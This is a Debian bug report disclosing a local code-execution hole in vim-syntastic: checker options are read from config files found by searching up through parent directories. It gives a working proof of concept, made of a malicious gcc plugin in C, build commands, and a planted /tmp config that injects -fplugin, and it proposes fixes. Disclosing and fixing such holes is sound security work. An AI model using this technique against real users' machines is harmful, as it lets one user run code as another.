Package: vim-syntastic
Version: 3.8.0-1
Severity: serious

Hello,

syntastic has a Configuration Files[1] feature enabled for several
checkers, where:

  a configuration file is looked up in the directory of the file being
  checked, then upwards in parent directories.  The search stops either
  when a file with the right name is found, or when the root of the
  filesystem is reached.[1]

[1] 
https://github.com/vim-syntastic/syntastic/blob/master/doc/syntastic-checkers.txt#L7744

Each line found in the configuration file is escaped as a single
argument and appended to the checker command being run.

I am not an expert on the various possibly dangerous command line
options of all possible checkers, but I played with one I knew how to
play with, and what follows is a possible attack. There might be easier
attacks on checkers that are enabled by default, since the configuration
files features, as it is now, leaves a pretty wide attack surface open.

## Step 1: a malicious gcc plugin

The source code:

  #include <gcc-plugin.h>
  #include <stdio.h>
  
  int plugin_is_GPL_compatible;
  
  int plugin_init(struct plugin_name_args   *info,  /* Argument infor */
          struct plugin_gcc_version *ver)   /* Version of GCC */
  {
      fprintf(stdout, "hello\n");
      FILE* out = fopen("/tmp/test", "wt");
      fprintf(out, "arbitrary code execution\n");
      fclose(out);
  };

Building the plugin:

$ gcc -I$(gcc -print-file-name=plugin)/include -fPIC -fno-rtti -O2 -shared 
plugin.cc  -o /tmp/plugin.so

Installing the plugin as nobody.nogroup in /tmp:

$ sudo chown nobody.nogroup /tmp/plugin.so


## Step 2: a syntastic config file

echo -fplugin=/tmp/z.so > /tmp/.syntastic_avrgcc_config
sudo chown nobody.nogroup /.syntastic_avrgcc_config


## Step 3: enable the avrgcc plugin

let g:syntastic_cpp_checkers = ['avrgcc']


## Step 4: edit a C++ file in /tmp

touch /tmp/foo.cc
vim /tmp/foo.cc


## Step 5: cry

$ cat /tmp/test
arbitrary code execution



# What should be different

There are several steps that can avoid this:

1. allow to disable this feature, and ship with this feature disabled by
   default
2. stop recursing upwards when hitting a directory that's writable by
   someone other than the current user
3. check that the config files are owned by the current user


# Mitigation

I am not a vimscript expert, and unfortunately I have not found a way to
disable this behaviour without editing the syntastic config files.



Enrico

-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_IE.UTF-8, LC_CTYPE=en_IE.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_IE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages vim-syntastic depends on:
ii  vim                2:8.0.1453-1+b1
ii  vim-addon-manager  0.5.7

vim-syntastic recommends no packages.

Versions of packages vim-syntastic suggests:
pn  checkstyle           <none>
pn  chktex               <none>
pn  closure-linter       <none>
ii  cppcheck             1.82-1
pn  foodcritic           <none>
pn  hlint                <none>
pn  lacheck              <none>
pn  libperl-critic-perl  <none>
pn  libxml2-utils        <none>
pn  pep8                 <none>
pn  puppet-lint          <none>
ii  pyflakes             1.6.0-1
pn  pylint               <none>
pn  python-flake8        <none>
pn  shellcheck           <none>
pn  sparse               <none>
pn  splint               <none>
pn  tidy                 <none>

-- no debconf information

Reply via email to